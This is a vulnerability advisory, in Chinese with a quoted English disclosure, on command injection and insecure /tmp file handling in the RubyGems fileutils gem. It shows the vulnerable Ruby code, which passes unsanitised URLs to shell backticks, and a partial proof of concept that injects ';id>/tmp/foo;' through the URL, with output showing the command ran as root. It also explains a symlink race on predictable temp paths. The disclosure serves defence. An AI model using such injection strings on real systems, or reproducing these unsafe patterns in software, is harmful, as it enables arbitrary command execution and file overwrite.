发布日期：2013-02-23
更新日期：2013-03-02
受影响系统：
rubygems Fileutils
描述：
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BUGTRAQ ID: 58223
RubyGems Fileutils是一组工具，可提取各种文件类型的元数据。
Fileutils对传递到CutyCapt的输入没有正确过滤，在实现上存在多个远程命令执行漏洞，同时/tmp还存在不安全文件处理。本地攻击者可利用此漏洞执行任意命令。
<*来源：Larry W. Cashdollar （lwc@vapid.dhs.org）
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Possible remote command execution and insecure file handling in /tmp.
2/23/2013
"A set of utility classes to extract meta data from different file types".
Handles files insecurely in /tmp, a directory is created for that file extension say 'zip' and files are maniplated there. This directory can be hijacked and the contents manipulated by a malicious user.
in ./lib/file_utils.rb
15 def zip (target, *sources)
16 targetdir = "{FileUtils::Config.tmp_dir}/zip"
17 id = 1
18 while File.exists?(targetdir)
19 targetdir = "{FileUtils::Config.tmp_dir}/zip#{id}"
20 id += 1
21 end
22 FileUtils.mkdir(targetdir)
where Config.tmp_dir = /tmp
in ./lib/file_utils/config.rb
5 def self.tmp_dir
6 @tmp_dir ||= '/tmp'
7 end
Remote command execution:
From file_utils.rb, doesn't sanitize input on URLs passed to CutyCapt for execution. If a URL contains shell characters say a ';' followed by a command a remote attacker execute a command on the clients system if they are enticed to click an encoded url like:
need to test URL encoding not sure if this is valid.
;id>/tmp/o; ->
7 def capture (url, target)
8 command = FileUtils::Config::Xvfb.command(File.dirname(__FILE__) + "/../bin/CutyCapt --min-width=1024 --min-height=768 --url={url} --out={target}")
9 `#{command}`
10 end
partial PoC if client is tricked into using malicious URL:
irb(main):001:0> `xvfb-run --server-args="-screen 0,1024x768x24" ./CutyCapt --url=http://www.example.org;id>/tmp/foo; --out=/tmp/tempf` xvfb-run: error: Xvfb failed to start
sh: 1: --out=/tmp/tempf: not found
=> ""
irb(main):002:0>
root@Ubuntu:~/CutyCapt/cutycapt/CutyCapt ls -l /tmp/foo -rw-r--r-- 1 root root 39 Feb 27 02:56 /tmp/foo root@ubuntu:~/CutyCapt/cutycapt/CutyCapt cat /tmp/foo uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~/CutyCapt/cutycapt/CutyCapt#
Michael Scherer of RedHat.com found other issues during a discussion about the above issues I found:
In fact, there is the same similar problem in another file :
result = `#{FileUtils::Config::OpenOffice.python} #{command} #{source} #{target} #{FileUtils::Config::OpenOffice.port}`
I quickly checked using irb ( a quick command line to type ruby snippet, and yes, using funky chars result in funky results.
There is another issue in
# Generates a temp filepath for the given extension def temp (extension)
path = "{FileUtils::Config.tmp_dir}/tmp.{extension}" id = 1
while File.exists?(path)
path = "{FileUtils::Config.tmp_dir}/tmp.{id}.#{extension}"
id += 1
end
Since someone could just create the file at the last moment, and make a link so the script would overwrite an arbitrary file.
Thanks to vl4dz and Michael.
Larry W. Cashdollar @_larry0

建议：
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厂商补丁：
rubygems
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
https://rubygems.org/gems/fileutils